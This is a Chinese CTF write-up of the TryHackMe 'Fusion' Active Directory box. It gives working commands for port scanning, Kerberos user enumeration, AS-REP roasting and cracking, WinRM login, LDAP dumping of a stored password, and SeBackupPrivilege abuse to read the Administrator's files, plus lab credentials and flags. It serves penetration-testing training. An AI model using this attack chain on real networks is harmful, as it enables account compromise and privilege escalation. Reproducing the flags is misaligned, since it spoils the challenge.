端口扫描

Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 12:43 CST
Nmap scan report for 10.10.2.72
Host is up (0.26s latency).
Not shown: 65512 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
9389/tcp open adws
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
49674/tcp open unknown
49690/tcp open unknown
49704/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 27.22 seconds

sudo nmap -sT -sV -sC -O -p53,80,88,135,139,389,445,464,593,636,3268,3269,3389,5985,9389,49667,49668,49669,49670,49671,49674,49690,49704 10.10.190.17 
[sudo] mikannse 的密码:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-20 17:26 CST
Nmap scan report for 10.10.190.17
Host is up (0.19s latency).

PORT STATE SERVICE VERSION
53/tcp open domain?
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: eBusiness Bootstrap Template
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-09-20 09:27:00Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: fusion.corp0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp filtered globalcatLDAP
3269/tcp filtered globalcatLDAPssl
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-09-20T09:30:11+00:00; 0s from scanner time.
| ssl-cert: Subject: commonName=Fusion-DC.fusion.corp
| Not valid before: 2023-09-19T09:26:39
|_Not valid after: 2024-03-20T09:26:39
| rdp-ntlm-info:
| Target_Name: FUSION
| NetBIOS_Domain_Name: FUSION
| NetBIOS_Computer_Name: FUSION-DC
| DNS_Domain_Name: fusion.corp
| DNS_Computer_Name: Fusion-DC.fusion.corp
| Product_Version: 10.0.17763
|_ System_Time: 2023-09-20T09:29:32+00:00
5985/tcp filtered wsman
9389/tcp filtered adws
49667/tcp filtered unknown
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49670/tcp open msrpc Microsoft Windows RPC
49671/tcp filtered unknown
49674/tcp filtered unknown
49690/tcp filtered unknown
49704/tcp filtered unknown
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2019 (89%)
Aggressive OS guesses: Microsoft Windows Server 2019 (89%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: FUSION-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-09-20T09:29:32
|_ start_date: N/A

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 204.01 seconds

找到域名:

fusion.corp

fusion-dc.fusion.corp

添加hosts

Web

访问80端口

找到几个人名

jhon mickel

andrew arnold

lellien linda

john powel

但是SMB无法找到共享。

扫一下目录

gobuster dir -u fusion.corp -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x rar,zip,sql,txt,jsp,php,html,bak

找到一个backup目录,里面有一个表格

将username全部存入一个字典

Getshell

因为看到88端口开了,下载kerbrute

sudo mv kerbrute /usr/bin
kerbrute userenum username --dc 10.10.215.12 -d fusion.corp -v

扫描到一个lpaker用户。跑一下GetNPUsers

impacket-GetNPUsers fusion.corp/  -usersfile username -no-pass -dc-ip 10.10.165.159 -request>hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

得到密码:!!abbylvzsvs2k6!

GetNPUsers:

"GetNPUsers" 是 Impacket 工具包中的一个工具。

用于从目标域控制器(Domain Controller)获取没有设置 "Pre-Authentication" 的用户的哈希值。

"Pre-Authentication" 是 Kerberos 协议的一个安全特性,要求在请求 Kerberos 令牌之前,客户端必须向域控制器证明其密码的有效性。

通过利用没有启用 "Pre-Authentication" 的用户账户,"GetNPUsers" 工具可以尝试获取这些用户账户的哈希值,这些哈希值可能用于进一步的攻击,如离线密码破解。

因为开了5985端口,试一下evil-winrm

evil-winrm -i fusion.corp -u lparker -p '!!abbylvzsvs2k6!'

User1

THM{c105b6fb249741b89432fada8218f4ef}

横向移动

net user

还存在一个jmurphy用户

ldapdomaindump  fusion.corp -u 'fusion.corp\lparker' -p '!!abbylvzsvs2k6!'

查询一下域用户的信息

domain_users.html中可以发现jmurphy的密码:u8WC3!kLsgw=#bRY

并且他是Backup Operators,并且又远程桌面的权限

evil-winrm -i fusion.corp -u jmurphy -p 'u8WC3!kLsgw=#bRY'

User2

THM{b4aee2db2901514e28db4242e047612e}

提权

whoami /all

发现jmurphy具有Sebackup的权限,可以利用这个

https://github.com/giuliano108/SeBackupPrivilege

在evil-winrm中

upload SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilege/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll
Import-Module C:\Users\jmurphy\SeBackupPrivilegeUtils.dll
Import-Module C:\Users\jmurphy\SeBackupPrivilegeCmdLets.dll
Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\flag.txt C:\Users\jmurphy\Documents\flag.txt

User3

THM{f72988e57bfc1deeebf2115e10464d15}

碎碎念

发现前面还是差不多的操作,通过爆破kerbrute用户,再看看能不能SPNS和getnpusers。有了一对用户的凭据之后就可以ldapdump了。然后对backup权限做了一些了解